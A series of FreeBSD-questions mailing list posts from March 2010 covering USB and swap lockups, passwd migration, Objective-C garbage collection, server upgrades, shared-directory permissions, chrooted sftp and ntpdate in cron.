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As of my assumptions, FreeBSD Release 8.0 i386 can easily be installed on my
system. Am I right, sir? Or should I use amd64 version of FreeBSD?
Please Help Me.
I am waiting for your reply. So, please reply me as soon as possible to you.
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David Jackson wrote:
> I am still having severe problems with severe system instabilities
> with FreeBSD and have had these problrms in 7.1 and 8.0. The system
> randomly locks up, it appears applications lock up when they access
> the USb disk. Also, when accessing the USB disk, the entire system
> lockup often for minutes. Performance with accessing USB disks is
> horrendous,. it took 7 hours to copy a directory that was 200 MB. Any
> program that accesses the USB disk tend to freeze for minutes, and
> often the entire system becomes unresponsive for minutes. Overall
> FreeBSD here is characterized by severe instabilities, ive had better
> performance from Windows 98 systems. The fact that the entire system
> freezes up, this should not happen, a well designed system will not
> lock up the entire OS when accessing disk.
>
> Are there any diagnostic tools uch as getting a log of tranmissions on
> USB and probe it, ,or finmd out what code it is lockilng up on ?Has
> anyone else seen these problems with USB disks?
Thank you for the reply to my concerns. I have been reading through them
carefully.
I seem to have also discovered that the lockup problems are not entirely
due to USB issues. Many of them were being caused by an apparent problem
with the swap system. I have two swaps, a file backed swap and a
partition swap on the same disk. Apparently when having two swaps on the
disk there are severe performance problems. FreeBSD needs to fix
whatever is causing this thrashing problem. So far the lockups have seem
to become much less severe since i have disabled the file based swap
file. I may disable the partition swap but i do not know if it is
possible to have the system boot with a file based swap only. Perhaps i
can disable the partition swap after it boots.
I am trying to copy a directory on the USB drive however and it does
seem to be rather slow still. It started at 5:45 and is still going. I
will see how long it takes.
Again thanks for the help with these issues
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On Mar 11, 2010, at 3:05 PM, David Jackson wrote:
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> I seem to have also discovered that the lockup problems are not entirely due to USB issues. Many of them were being caused by an apparent problem with the swap system. I have two swaps, a file backed swap and a partition swap on the same disk. Apparently when having two swaps on the disk there are severe performance problems. FreeBSD needs to fix whatever is causing this thrashing problem.
You're going to notice performance problems if you are paging heavily regardless of other factors. And the fine documentation recommends placing only one swap partition per disk (or controller):
http://www.freebsd.org/doc/handbook/configtuning-initial.html
"On larger systems with multiple SCSI disks (or multiple IDE disks operating on different controllers), it is recommend that a swap is configured on each drive (up to four drives). The swap partitions should be approximately the same size. The kernel can handle arbitrary sizes but internal data structures scale to 4 times the largest swap partition. Keeping the swap partitions near the same size will allow the kernel to optimally stripe swap space across disks."
It might be reasonable for swapon to log or print a warning if it notices multiple swap partitions (or swapfiles) on the same underlying hardware device....
Regards,
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On Thu, Mar 11, 2010 at 5:05 PM, David Jackson <djackson452@gmail.com>wrote:
> David Jackson wrote:
>
>> I am still having severe problems with severe system instabilities with
>> FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly
>> locks up, it appears applications lock up when they access the USb disk.
>> Also, when accessing the USB disk, the entire system lockup often for
>> minutes. Performance with accessing USB disks is horrendous,. it took 7
>> hours to copy a directory that was 200 MB. Any program that accesses the USB
>> disk tend to freeze for minutes, and often the entire system becomes
>> unresponsive for minutes. Overall FreeBSD here is characterized by severe
>> instabilities, ive had better performance from Windows 98 systems. The fact
>> that the entire system freezes up, this should not happen, a well designed
>> system will not lock up the entire OS when accessing disk.
>>
>> Are there any diagnostic tools uch as getting a log of tranmissions on USB
>> and probe it, ,or finmd out what code it is lockilng up on ?Has anyone else
>> seen these problems with USB disks?
>>
> Thank you for the reply to my concerns. I have been reading through them
> carefully.
>
> I seem to have also discovered that the lockup problems are not entirely
> due to USB issues. Many of them were being caused by an apparent problem
> with the swap system. I have two swaps, a file backed swap and a partition
> swap on the same disk. Apparently when having two swaps on the disk there
> are severe performance problems. FreeBSD needs to fix whatever is causing
> this thrashing problem. So far the lockups have seem to become much less
> severe since i have disabled the file based swap file. I may disable the
> partition swap but i do not know if it is possible to have the system boot
> with a file based swap only. Perhaps i can disable the partition swap after
> it boots.
>
> I am trying to copy a directory on the USB drive however and it does seem
> to be rather slow still. It started at 5:45 and is still going. I will see
> how long it takes.
>
>
> Again thanks for the help with these issues
It's unclear how this system is being used, but if swap is being frequently
accessed that's a problem your usage, not freebsd in particular. If your
swap is being accessed frequently in any OS you should expect a serious
performance hit. If that is the case you should investigate reducing memory
usage/adding more in.
--
Adam Vande More
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> From owner-freebsd-questions@freebsd.org Wed Mar 10 20:24:31 2010
> Date: Thu, 11 Mar 2010 02:23:44 +0000
> From: Anton Shterenlikht <mexas@bristol.ac.uk>
> To: freebsd-questions@freebsd.org
> Subject: can't ping localhost
>
> I misconfigured my system somehow,
> so now I can't ping localhost:
>
> # ping localhost
> PING localhost (127.0.0.1): 56 data bytes
> ping: sendto: No route to host
> ping: sendto: No route to host
> ^C
>
> # cat /etc/hosts
> # $FreeBSD: head/etc/hosts 109997 2003-01-28 21:29:23Z dbaker $
> #
> ::1 localhost localhost.men.bris.ac.uk
> 127.0.0.1 localhost localhost.men.bris.ac.uk
>
> So far, can't find anything relevant
> on the net.
>
> Please advise
what does 'ifconfig -a', and 'netstat -nr' show?
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Thanks guys, it worked!
-Modulok-
On 3/11/10, Matthew Seaman <m.seaman@infracaninophile.co.uk> wrote:
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> On 11/03/2010 05:41:10, Dan Nelson wrote:
>> In the last episode (Mar 10), Modulok said:
>>> I need to migrate a passwd file from an old 6.2 server to a newer 8.0
>>> server (different box). This is what I did:
>>>
>>> copied the '/etc/master.passwd' from old server to '/etc/master.passwd'
>>> on new server then ran:
>>>
>>> pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd
>>>
>>> It seems to work, but is this correct? I'd hate to miss somethign before
>>> it goes online.
>>
>> Yep, that should work. Don't forget to update /etc/groups too.
>>
>
> And try running 'mergemaster -p' which should let you merge in any new
> system accounts (ignore all the other bits it looks at).
>
> Cheers,
>
> Matthew
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Subject: Re: Severe instabilities and system lockups
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David Jackson wrote:
> David Jackson wrote:
>> I am still having severe problems with severe system instabilities
>> with FreeBSD and have had these problrms in 7.1 and 8.0. The system
>> randomly locks up, it appears applications lock up when they access
>> the USb disk. Also, when accessing the USB disk, the entire system
>> lockup often for minutes. Performance with accessing USB disks is
>> horrendous,. it took 7 hours to copy a directory that was 200 MB. Any
>> program that accesses the USB disk tend to freeze for minutes, and
>> often the entire system becomes unresponsive for minutes. Overall
>> FreeBSD here is characterized by severe instabilities, ive had better
>> performance from Windows 98 systems. The fact that the entire system
>> freezes up, this should not happen, a well designed system will not
>> lock up the entire OS when accessing disk.
>>
>> Are there any diagnostic tools uch as getting a log of tranmissions on
>> USB and probe it, ,or finmd out what code it is lockilng up on ?Has
>> anyone else seen these problems with USB disks?
> Thank you for the reply to my concerns. I have been reading through them
> carefully.
>
> I seem to have also discovered that the lockup problems are not entirely
> due to USB issues. Many of them were being caused by an apparent problem
> with the swap system. I have two swaps, a file backed swap and a
> partition swap on the same disk. Apparently when having two swaps on the
> disk there are severe performance problems. FreeBSD needs to fix
> whatever is causing this thrashing problem. So far the lockups have seem
> to become much less severe since i have disabled the file based swap
> file. I may disable the partition swap but i do not know if it is
> possible to have the system boot with a file based swap only. Perhaps i
> can disable the partition swap after it boots.
>
> I am trying to copy a directory on the USB drive however and it does
> seem to be rather slow still. It started at 5:45 and is still going. I
> will see how long it takes.
>
>
> Again thanks for the help with these issues
> _______________________________________________
>
>
I dont think its a good idea to have two swaps on any HD.
If you used the default setup under sysinstall for FreeBSD it gives how
the setup should look.
Is the USB a current 2.0? I cant ever recall having the problems you are
describing on a FreeBSD box ever.
Maybe you have funky hardware configuration.
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> Sorry for the delay. Medical problem.
>
> Here's what I know.
>
> 1) Under FreeBSD 8.x OBJC APPEARS NOT to use garbage collection. I
> looked at the source and the GC routines aren't defined anywhere and I
> stepped through the assembly language and the allocation routing call
> malloc(). There is a specific conditional in the FreeBSD compiler that
> cloosed malloc() or GC_malloc() depending on whether a GC variable is
> defined.
>
> 2) Even through you can specify -fobjc-gc on a compile line using the
> FreeBSD compiler, it appears there is no warning issued if GC is not
> enabled.
>
> 3) GCC 45 in the ports directory DOES NOT include OBJC. Neither does 44.
>
> 4) I downloaded GCC and compiled it this way:
>
> ../gcc-4.4.3/configure --disable-nls --disable-rpath
> --prefix=3D/usr/local/gcc44 --with-system-zlib --enable-languages=3D"c,c
> ++,objc" --enable-objc-gc
>
> I compiled an ObjC program this way:
>
> /usr/local/gcc44/bin/gcc -fobjc-gc -g -O prog.m -lobjc_gc -static
> -pthread
>
> I checked and the GC routines are in there.
>
> I have a Core2 Quad, 8GB of RAM, and 32 GB of swap. I ran "a" program
> (below). No swap activity. =A0No swap consumption. No increase in memory
> consumption. Five minutes. It hasn't crashed.
>
> YMMV
>
>
> #include <sys/types.h>
> #import <objc/Object.h>
>
> int main(int argc, const char *argv[]) {
> =A0while (1) {
> =A0 =A0Object *obj =3D [[Object alloc] init];
> =A0 =A0u_int h =3D [obj hash];
> =A0}
> =A0return 0;
> }
>
Wow thanks, that really helps. I now understand more about how this
stuff works. I'm kind of new to C programming in general, and library
linking and all that sort of stuff.
My gcc command is like this now:
/usr/opt/gcc44/bin/gcc -o main Main.m MyObj.m -lobjc_gc -lpthread -static
The "-static" is nice because my libobjc_gc.so is in a non-standard
location on my system, namely /usr/opt/gcc44/lib/ , and so I don't
have to specify LD_LIBRARY_PATH if I compile with "-static" (but as a
result the binary is larger and takes more memory to run, by about 700
kilobytes).
The "-lpthread" is necessary because pthreads are used as part of the
garbage collection process.
The "-lobjc_gc" is used instead of "-lobjc" to enable garbage collection.
I compiled gcc 4.4.3 (downloaded directly from links on gcc.gnu.org)
myself (not from ports), with
./configure --prefix=3D/usr/opt/gcc44 --enable-objc-gc
-enable-languages=3D"c,c++,objc"
My source code looks like this:
Main.m
---------------------
#import <pthread.h>
#import "MyObj.h"
int main(int argc, const char *argv[]) {
while (YES) {
MyObj *obj =3D [[MyObj alloc] init];
[obj hash];
}
return 0;
}
MyObj.h
----------------------
#import <objc/Object.h>
@interface MyObj : Object {}
@end
MyObj.m
----------------
#import "MyObj.h"
@implementation MyObj
@end
I get no memory increases in my program.
I have not tried to get garbage collection to work with GNUstep yet.
It very well may not work, because the garbage collection is probably
tied to objc_gc (for example instead of gnustep-base or
gnustep-runtime or something like that). Like I said I don't know too
much about C programming at this point. I do see a libgnustep-base.so
in my GNUstep installation, but I don't see anything of the form
*_gc.so.
I'm going to write some programs just using Object, not using GNUstep
at this point. I think I'll wait until I get an Apple and an iPhone
before I try to use the other object classes (NSObject and friends).
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Hello all.
I have an old machine that has been running 4.11-Stable for some
years. This week something weird happened when I tried to update to
latest version on 4.x. Anyway, I thought that was a good idea to
update to 5.x and after doing all the process finally I can not have
it running corrcetly. Not a big problem since a secondary DNS an an
email server for one domain. I am still trying to recover it
downloading and installing the sae version it has but in case I can
not fix I would like to install a mor erecent version.
The machine has a Motherboard that supports 2 double pentium III
processors with 1GB of ram and a hard disk with 40GB.
It won't do anything else but a dns slave for maybe 100 domains, mail
and squirrel for 10 domain, not more than 100 users with very low
volume. That's all.
Can you give me your opinions on what would you?
- To re-install the version that it used to has from zero and let it
work again for some other years.
- Try a new version (maybe it is more secure or faster) and if
so..... which one?
(in all these years even when the machine is on the Internet and LOT
of people has tried to hacked it daily, in all these years we have
never had a problem.)
Thanks in advance for your advice.
Jorge Biquez
PS. By the way. I left these lists for almost a year as well as the
OS (global crisis force us to look for survival jobs) anyway now that
I am back I can see again that you guys in the list, the ones that
develop and contribute with Freebsd are the best one in the quality
of the technical messages. Keep working that way and thanks for
letting us learn from you.
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On 2010.03.11 23:29, Jorge Biquez wrote:
> Hello all.
>
> I have an old machine that has been running 4.11-Stable for some years.
> This week something weird happened when I tried to update to latest
> version on 4.x. Anyway, I thought that was a good idea to update to 5.x
> and after doing all the process finally I can not have it running
> corrcetly. Not a big problem since a secondary DNS an an email server
> for one domain. I am still trying to recover it downloading and
> installing the sae version it has but in case I can not fix I would like
> to install a mor erecent version.
>
> The machine has a Motherboard that supports 2 double pentium III
> processors with 1GB of ram and a hard disk with 40GB.
>
> It won't do anything else but a dns slave for maybe 100 domains, mail
> and squirrel for 10 domain, not more than 100 users with very low
> volume. That's all.
>
> Can you give me your opinions on what would you?
Honestly, so long as there is no GUI running, the only real difference I
currently observe on machines that have the requirement to stay at this:
%uname -a
FreeBSD x.x.x 4.3-RELEASE FreeBSD 4.3-RELEASE #0: Sat Apr 21 10:54:49
GMT 2001 jkh@narf.osd.bsdi.com:/usr/src/sys/compile/GENERIC i386
...and something more current is that the more recent versions require
much more thought put into the original size of the root (/) partition,
particularly when you are used to performing source upgrades.
Earlier versions required *much* less space.
The performance difference is negligible, so long as though you plan on
running the same processes, and still perform proper diligence in
trimming your kernel config file appropriately.
With upgrading to a more recent version, you garner the benefits of
security patches, code efficiencies, ability to follow current
standards/practices etc.
Again... so long as the system won't change its overall process
objectives, go to the recent production release, but instead of
assigning 256M for /, throw 2G at it to be safe.
Steve
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> I have an old machine that has been running 4.11-Stable for some years.
> This week something weird happened when I tried to update to latest
> version on 4.x. Anyway, I thought that was a good idea to update to 5.x
> and after doing all the process finally I can not have it running
> corrcetly. Not a big problem since a secondary DNS an an email server
> for one domain. I am still trying to recover it downloading and
> installing the sae version it has but in case I can not fix I would like
> to install a mor erecent version.
>
> The machine has a Motherboard that supports 2 double pentium III
> processors with 1GB of ram and a hard disk with 40GB.
>
> It won't do anything else but a dns slave for maybe 100 domains, mail
> and squirrel for 10 domain, not more than 100 users with very low
> volume. That's all.
>
> Can you give me your opinions on what would you?
If you're going to reinstall anyway, you might as well run the latest
and greatest version. FreeBSD 8.0 will do just fine on this hardware.
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On 3/10/2010 8:50 PM, Ed Jobs wrote:
> On Thursday 11 of March 2010 03:36, mailinglist wrote:
>> The question is, can it use that wireless card to
>> act as a access point instead of a client (how the card is intended to be
>> used)?
> you can run the hostapd daemon to configure a card as an access point. I did
> this on an openbsd box, so i'm perfectly sure you can do it on a freebsd box
> too.
In all honesty, as much as I love FreeBSD, this is the sort of thing
that OpenBSD really excels at. So the OP may wish to look at OpenBSD
too, but as you say, either operating system can do the job.
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On 3/11/2010 9:32 AM, Lowell Gilbert wrote:
> mailinglist <mailinglist@ucwv.edu> writes:
>
>> I've got an old Linksys router hanging off of my cable modem that is
>> several years old and is about to die (very poor wireless throughput
>> should be 54 mb and is 2, runs hot, and "buzzes" while turned on).
>> I've got an older PC that would great as a router....however I also
>> need it to be a wireless access point for my house. It has a PCI
>> wireless network card (A 54G Belkin, not sure of the exact model). I
>> know FreeBSD is technically capable for acting as my DHCP, DNS,
>> router, gateway box if properly configured. The question is, can it
>> use that wireless card to act as a access point instead of a client
>> (how the card is intended to be used)?
>>
>> Also, any links anyone can provide on how to setup a FreeBSD box to
>> act as home router/gateway would be much appreciated!
>
> Bear in mind that the added electricity costs will more than cover the
> cost of a new Linksys (or equivalent) router in a few months.
If energy consumption is a concern, you might try one of these:
http://www.pcengines.ch/alix2d3.htm
I've been running OpenBSD on mine for a year or so, and it makes an
absolutely fantastic home router. It'll run FreeBSD, too. Uses about 5
watts.
My one caveat is that you may want to solder on an RTC battery (CR2032)
holder--or just pay a little extra for the alix2d13, which includes the
holder, if you don't like soldering things.
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On Wed, 10 Mar 2010 11:14:25 -0800 Nerius Landys <nlandys@gmail.com>
wrote:
>>> I am compiling this program and running it, and without the "release"
>>> calls there, it certainly is using up more and more memory every
>>> second. Definitely no garbage collection happening. I then modified
>>> the GNUmakefile to make sure that the option "-fobjc-gc" was being
>>> passed to gcc, and verbose output from make assured me that this was
>>> the case. However, my program sill did not garbage collect (3 gigs of
>>> RAM, then a segfault). I then tried the gcc option "-fobjc-gc-only"
>>> and gcc42 reported that it did not recognize that option. The options
>>> are described here:
>>> http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.html
>>
>> While I am not very familiar with Objective C, I can tell you that GC
>> generally runs in the background, using idle time to scavenge memory.
>> (It's not counted pointers, synchronously freeing memory immediately.)
>> So if you race to allocate memory in an infinite loop like this, you are
>> destined to exhaust memory, GC or no, unless the runtime is designed to
>> force a GC on alloc in low memory conditions.
>>
>> Try putting some sort of sleep in the middle of your loop and see if GC
>> kicks in and you get more of a sawtooth memory usage pattern.
>
>Well thanks for that advice. My new program looks like this:
>
>#import "GarbageObj.h"
>
>int main(int argc, const char *argv[]) {
> int inx = 0;
> while (YES) {
> inx++;
> GarbageObj *obj = [[GarbageObj alloc] init];
> [obj foo];
> if (inx == 100000) {
> inx = 0;
> sleep(1);
> }
> }
> return 0;
>}
>
>
>
>Unfortunately the memory usage is still steadily increasing. No
>garbage collection even if I compile with "-fobjc-gc". :-(
>
If your program never frees any memory, then there is never any
garbage to collect. QED.
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On 12 March 2010 pm 12:29:13 Jorge Biquez wrote:
> Hello all.
>
> I have an old machine that has been running 4.11-Stable for some
> years. This week something weird happened when I tried to update to
> latest version on 4.x. Anyway, I thought that was a good idea to
> update to 5.x and after doing all the process finally I can not have
> it running corrcetly. Not a big problem since a secondary DNS an an
> email server for one domain. I am still trying to recover it
> downloading and installing the sae version it has but in case I can
> not fix I would like to install a mor erecent version.
>
> The machine has a Motherboard that supports 2 double pentium III
> processors with 1GB of ram and a hard disk with 40GB.
>
> It won't do anything else but a dns slave for maybe 100 domains, mail
> and squirrel for 10 domain, not more than 100 users with very low
> volume. That's all.
>
> Can you give me your opinions on what would you?
>
> - To re-install the version that it used to has from zero and let it
> work again for some other years.
>
> - Try a new version (maybe it is more secure or faster) and if
> so..... which one?
have a try with 8.0. If it does not work go back to 7.2.
I have one machine on which 8.0 does not support USB at all.
The scheduler on 8.0 is much better. You will be surprised when moving directly from 4.11 to 8.0 how fast the machine feels.
Erich
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Subject: Re: ACLs, umask and shared directories
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Hi Gary,
Parts of the filesystem are written by all users - /tmp and /var/tmp.
Users don't often write files there deliberately, but many programs run
by the user do.
With a umask of 002, one user can modify another user's file in these
locations. (The sticky bit only protects against file deletion.)
Also note that a user can change permissions on their home directory -
the users in question are students, and a few do this accidentally every
semester. With a umask of 002, and every user in the same group, your
home directory is effectively world-writable!
The cronjobs and so forth would work - but functional ACLs would be so
much simpler :-)
Thanks
Rob.
On 12/03/2010, at 12:52 AM, Gary Gatten wrote:
> "Project Groups" are the key. A secondary group owns the dir, only =
users working on that project are in that group - so 002 works. I get =
umask is system wide, but it should be ok if directory ownership is =
"correct" everywhere in the system and/or users know they should only =
put certain files in certain places.
>=20
> If for some reason that won't work (if you could explain why for my =
benefit) what about: A cron job that runs every x mins and sets perms as =
you wish. Ideally a daemon process would "monitor" the directory in =
question looking for opens/writes/etc, and then set perms; event driven. =
Lasty, maybe train the users to set perms, or have a script they can =
run that will do it. OR...., have them create files in a temp dir and a =
cron job mv's them to the permanent dir and sets perms the same time?
>=20
>=20
>=20
> ----- Original Message -----
> From: Rob <listone@deathbeforedecaf.net>
> To: Gary Gatten
> Cc: freebsd-questions@freebsd.org <freebsd-questions@freebsd.org>
> Sent: Thu Mar 11 05:04:28 2010
> Subject: Re: ACLs, umask and shared directories
>=20
> Hi Gary,
>=20
> Directory group inheritance is the default in FreeBSD - see open(2):
>=20
> When a new file is created it is given the group of the
> directory which contains it.
>=20
> In SysV, this behaviour is controlled by the setgid bit.
>=20
> So the file has the correct group, but it's not writeable by other =
users
> unless it has g+w permissions. The way to guarantee this is to set
> everyone's umask to 002 - but then they can write each other's files
> anywhere else in the filesystem, because they're all in the same =
primary
> group.
>=20
> I just can't see a tidy solution.
>=20
> Thanks
> Rob.
>=20
> On 09/03/2010, at 10:34 AM, Gary Gatten wrote:
>=20
> >
> > chmod g+s "ParentDirectory"
> >
> > Files created in the dir now have the group of the dir.
> >
> > Not sure if this will help or not, as it appears the new files do =
not
> > inherit the perms of the group, the umask still over-rides so....
> >
> > What about a secondary group + SGID + umask 002? The users that =
need to
> > edit each others files in this directory are in a secondary group
> > (ShareMe). This same group owns the parent directory and the SGID =
bit
> > is set. This should allow you to set the umask to 002 correct? =
Maybe?
> >
> > So:
> >
> > www1 primary group =3D domain_users;
> >
> > www1$ pwd
> > /WorkgroupXShare
> >
> > drwxrws--- 4 root ShareMe 0 Mar 8 03:11 .
> > www1$ touch file1
> > drwxrws--- 4 www1 ShareMe 0 Mar 8 03:11 file1
> >
> > umask of 002 should give files 664 (I'd change umask to 004, group
> > "ShareMe" should get rw perms, right?
> >
> > I think this will work?
> >
> > G
> >
> >
> > -----Original Message-----
> > From: Gary Gatten
> > Sent: Monday, March 08, 2010 4:49 PM
> > To: 'listone@deathbeforedecaf.net'
> > Subject: RE: ACLs, umask and shared directories
> >
> > This may also work:
> >
> > SGID (set group ID) on a directory: in this special case every file
> > created in the directory will have the same group owner as the =
directory
> > itself (while normal behavior would be that new files are owned by =
the
> > users who create them). This way, users don't need to worry about =
file
> > ownership when sharing directories:
> >
> > G
> >
> >
> > -----Original Message-----
> > From: Gary Gatten
> > Sent: Monday, March 08, 2010 4:13 PM
> > To: Gary Gatten; 'listone@deathbeforedecaf.net'
> > Subject: RE: ACLs, umask and shared directories
> >
> > What about sticky bit on the parent directory - in combination with
> > appropriate owner and group perms. I used sticky in my ftpd =
solution,
> > HOWEVER, this was on SCO Unix and sticky may have different behavior =
on
> > FBSD. Worth a look though!
> >
> > G
> >
> >
> > -----Original Message-----
> > From: Gary Gatten
> > Sent: Monday, March 08, 2010 8:25 AM
> > To: 'listone@deathbeforedecaf.net'
> > Subject: Re: ACLs, umask and shared directories
> >
> > I ran into a similar issue long ago with an ftp folder and "shared"
> > files. If I recall umask solved my issue for me but understand it
> > doesn't solve yours.
> >
> > If nothing else, could you write a shell script that "monitors" the
> > directory/directories for writes and then sets the perms as needed?
> >
> > ----- Original Message -----
> > From: owner-freebsd-questions@freebsd.org
> > <owner-freebsd-questions@freebsd.org>
> > To: freebsd-questions@freebsd.org <freebsd-questions@freebsd.org>
> > Sent: Mon Mar 08 06:41:03 2010
> > Subject: ACLs, umask and shared directories
> >
> > Hi Folks,
> >
> > I need to give a group of users write access to a shared directory. =
The
> > problem is, when one user creates a file,
> >
> > www1$ touch file1
> > www1$ ll
> > total 8
> > drwxrwxr-x 2 root domain_users 512 Mar 8 03:11 .
> > drwxr-xr-x 4 root wheel 512 Mar 8 03:10 ..
> > -rw-r--r-- 1 www1 domain_users 0 Mar 8 03:11 file1
> >
> > other users can't edit it.
> >
> > Solution 1
> > ----------
> >
> > Change everyone's umask to 002. Unfortunately, these users are =
defined
> > in Active Directory and they're all in the same primary group - 002 =
is
> > not secure in this scenario.
> >
> > Solution 2
> > ----------
> >
> > Set a default ACL on the parent directory,
> >
> > www1$ getfacl -d .
> > # file: .
> > # owner: root
> > # group: domain_users
> > user::rwx
> > group::rwx
> > mask::rwx
> > other::r-x
> >
> > but it doesn't have the desired effect,
> >
> > www1$ touch file1
> > www1$ getfacl file1
> > # file: file1
> > # owner: www1
> > # group: domain_users
> > user::rw-
> > group::rwx # effective: r--
> > mask::r--
> > other::r--
> >
> > as the umask seems to override it - this was confirmed by Robert
> > Watson[1] in 2005.
> >
> > So does anyone have a better idea?
> >
> > Thanks
> > Rob.
> >
> > [1]
> > =
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I have recently installed FreeBSD8.0 on my 5 year old HP laptop with
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Installation works fine but when I try to boot into FreeBSD I get to
the BTX loader screen, after having made any selection and it pauses
for about 15 secs and the computer suddenly powers down. I was able to
boot into the system occasionally lets say about 1 in 5 boots. I am
able to install and boot into Linux without any problem.
On successful boot, I did see a message "battery0: battery
initialization failed"
1. Is there any way to increase the amount of debug messages printed
on the screen to figure out what's happening ?
2. Has it got to do with some module crashing as, I am able to install
and run LINUX without any problem ?
3. Why is there a pause of 15 secs after making the selection ?
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Hi,
> I need to have ftp access to a machine. I've found pure-ftpd but it was
Hummm, you want the short answer? Don't enable ftp :)
Ftp only accepts plain text passwords (until you enable things like
kerebos, one time password, etc), so it is not, it cannot be, secure.
SFTP is there, working easily, ready to use, with a decent Windows
client WinSCP (winscp.net)
Best regards,
Olivier
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I would suggest contacting various IT training facilities in you're
area and inquiring there.
Unfortunately FreeBSD isn't a corporation like Microsoft so
"certified training facilities" don't exist.
However the FreeBSD Handbook is a VERY good example of how a manual should =
look:
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/
Generally though a good foundation course on you're choice of
proprietary UNIX platform along with the FreeBSD handbook would
probably do what you're looking for. Assuming that you have no UNIX
background at all.
So ask around about Solaris courses in you're area and read the
above linked book.
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On 12 March 2010 08:27, Olivier Nicole <Olivier.Nicole@cs.ait.ac.th> wrote:
> Hi,
>
> > I need to have ftp access to a machine. I've found pure-ftpd but it was
>
> Hummm, you want the short answer? Don't enable ftp :)
>
> Ftp only accepts plain text passwords (until you enable things like
> kerebos, one time password, etc), so it is not, it cannot be, secure.
>
> SFTP is there, working easily, ready to use, with a decent Windows
> client WinSCP (winscp.net)
>
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enable sftp in ssh and chroot all the users and make the sftp only accounts
I wrote this guide for work a year or so ago. It was for solaris but it was
using openssh so should work fine on bsd
1. Dont bother with sun ssh it wont work. Opensolaris and later solaris
10 are bundled with openssh though.
2. Make sure openssh version is 5 or above (some 4s do work but 5 better)
3. Add these lines to sshd config
Match Group sftponly
ChrootDirectory /home/chroot/%u
X11Forwarding no
AllowTcpForwarding no
ForceCommand internal-sftp
4. Make sure the Subsystem line is this
Subsystem sftp internal-sftp
5. create the sftponly group on the system
6. put the relevent users in this group. be careful as you will stop them
being able to ssh in!!
7. Dead important this bit !!!
mkdir -p /home/chroot/<user>/home/<user>/.ssh
chown -R root /home/chroot/<user>
chown -R <user> /home/chroot/<user>
chmod -R 755 /home/chroot/<user> /home/chroot/<user>/home/<user>
ln -s /home/chroot/<user>/home/<user> /home/.
8. Put their ssh keys in /home/chroot/<user>/home/<user>/.ssh
All should now work
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> I would like to know from where can we get FreeBSD training to become able
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Formal training courses in FreeBSD administration will be few and far
between. FreeBSD isn't supported by any commercial organization that
tries to create a market in FreeBSD-related jobs -- some would say that
a direct consequence of this is the high quality of FreeBSD itself, and
of the typical people that work with it. Your best bet would be to find
a contractor willing to provide some training courses.
Most people achieve competence at dealing with FreeBSD by their own
independent efforts: by playing with the OS as a hobby, reading books
and documentation, by absorbing knowledge from colleagues. It's not a
learning style that suits everyone, and the informal nature of such
learning means that it can be hard to assess competence simply from a CV
or job application. Hence there has been a move to providing BSD
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On Thu, 11 Mar 2010 22:29:13 -0600, Jorge Biquez <jbiquez@icsmx.com> wrote:
> It won't do anything else but a dns slave for maybe 100 domains, mail
> and squirrel for 10 domain, not more than 100 users with very low
> volume. That's all.
>
> Can you give me your opinions on what would you?
>
> - To re-install the version that it used to has from zero and let it
> work again for some other years.
>
> - Try a new version (maybe it is more secure or faster) and if
> so..... which one?
> (in all these years even when the machine is on the Internet and LOT
> of people has tried to hacked it daily, in all these years we have
> never had a problem.)
>
> Thanks in advance for your advice.
You won't encounter problems running the latest FreeBSD. This
OS, I may emphasize this, does run FASTER and BETTER with
each release on the SAME hardware.
Sadly, this doesn't always apply for application software,
which tends to "benefit" from bloat.
But as you said you don't want a workstation, but a server,
you sould install FreeBSD 8 and incorporate the security
updates, e. g. via freebsd-update. So you can be sure to
have a secure system all the time. DNS and squirrel don't
seem to bring in any problems, from my opinion.
So, my advice would be:
1. Get all your data from the machine.
2. Install FreeBSD 8 from scratch. This gives you the chance
to possible re-partition, if you need to.
3. Update to the latest security patchlevel.
4. Update your ports collection.
5. Install the programs you need, or use "pkg_add -r", which
may be the better solution if you have an "old" system;
in this case, step 4 can be omitted.
6. Configure your services.
7. Re-import your data, configure everything properly.
8. Give it a test run.
9. Yay! You did it! =^_^=
--
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krad skrev 2010-03-12 11:07:
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> enable sftp in ssh and chroot all the users and make the sftp only accounts
>
> I wrote this guide for work a year or so ago. It was for solaris but it was
> using openssh so should work fine on bsd
>
>
> 1. Dont bother with sun ssh it wont work. Opensolaris and later solaris
> 10 are bundled with openssh though.
> 2. Make sure openssh version is 5 or above (some 4s do work but 5 better)
> 3. Add these lines to sshd config
>
> Match Group sftponly
> ChrootDirectory /home/chroot/%u
> X11Forwarding no
> AllowTcpForwarding no
> ForceCommand internal-sftp
>
> 4. Make sure the Subsystem line is this
>
> Subsystem sftp internal-sftp
>
> 5. create the sftponly group on the system
> 6. put the relevent users in this group. be careful as you will stop them
> being able to ssh in!!
> 7. Dead important this bit !!!
>
> mkdir -p /home/chroot/<user>/home/<user>/.ssh
> chown -R root /home/chroot/<user>
> chown -R<user> /home/chroot/<user>
> chmod -R 755 /home/chroot/<user> /home/chroot/<user>/home/<user>
> ln -s /home/chroot/<user>/home/<user> /home/.
>
> 8. Put their ssh keys in /home/chroot/<user>/home/<user>/.ssh
>
> All should now work
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This sounds as a solution I can use :-)
Will Windows users be able to use an ftp client to connect? I've never
implemented ssh with ftp before so I want to clarify for my understanding.
Thanks
/Leslie
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> Will Windows users be able to use an ftp client to connect? I've never
> implemented ssh with ftp before so I want to clarify for my understanding.
No, they'll need a SSH/SFTP client to be able to connect. Don't worry
though -- the clients work exactly like FTP clients: it's all the
underlying stuff that's different and much more secure.
Try WinSCP (http://winscp.net/eng/docs/introduction) as a client. It
works very much like Norton Commander. Plus it's Free. Or putty for
those that prefer a CLI environment
(http://www.chiark.greenend.org.uk/~sgtatham/putty/)
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I have the following line in my root cron:
5 * * * * /usr/sbin/ntpdate ru.pool.ntp.org > /dev/null
That must hourly adjust system time via NTP.
But I discover that it works from time to time: some days just once, some
days 5-6 times a day I receive e-mail with text like
12 Mar 12:05:05 ntpdate[25368]: no server suitable for synchronization found
But if I log in to server and run
# /usr/sbin/ntpdate ru.pool.ntp.org
everything always works OK: it says
12 Mar 13:51:57 ntpdate[27256]: adjust time server 80.93.56.210 offset
-0.616000 sec
Maybe NTP server doesn't like when some client (my server) asks it such way
- once a hour in same minute - and blocks my queries?
Any suggestions?
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>> Bear in mind that the added electricity costs will more than cover the
